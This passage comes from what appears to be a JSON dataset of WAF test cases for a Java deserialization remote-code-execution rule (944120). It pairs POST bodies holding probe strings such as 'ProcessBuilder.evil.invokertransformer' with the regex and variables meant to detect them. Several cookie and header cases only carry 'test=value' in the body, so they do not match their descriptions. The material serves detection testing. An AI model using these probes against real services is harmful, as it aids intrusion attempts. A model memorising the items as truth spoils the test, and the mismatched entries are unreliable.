multipart/form-data XML element value includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.instantiatetransformer</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.invokertransformer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument test includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ProcessBuilder.evil.invokertransformer=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument name includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie test includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie name includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Request header test includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><ProcessBuilder.evil.invokertransformer attribute_name=\"attribute_value\">value</ProcessBuilder.evil.invokertransformer></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element ProcessBuilder.evil.invokertransformer=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute name includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"ProcessBuilder.evil.invokertransformer\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute value includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.invokertransformer</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element value includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">ProcessBuilder.evil.invokertransformer</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Nested XML element value includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.invokertransformer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type text/plain includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"ProcessBuilder.evil.invokertransformer\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg value includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"ProcessBuilder.evil.invokertransformer\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg name includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.invokertransformer\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.invokertransformer\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.invokertransformer</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.invokertransformer</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.prototypeclonefactory" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument test includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ProcessBuilder.evil.prototypeclonefactory=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument name includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie test includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie name includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Request header test includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><ProcessBuilder.evil.prototypeclonefactory attribute_name=\"attribute_value\">value</ProcessBuilder.evil.prototypeclonefactory></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element ProcessBuilder.evil.prototypeclonefactory=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute name includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"ProcessBuilder.evil.prototypeclonefactory\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute value includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.prototypeclonefactory</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", 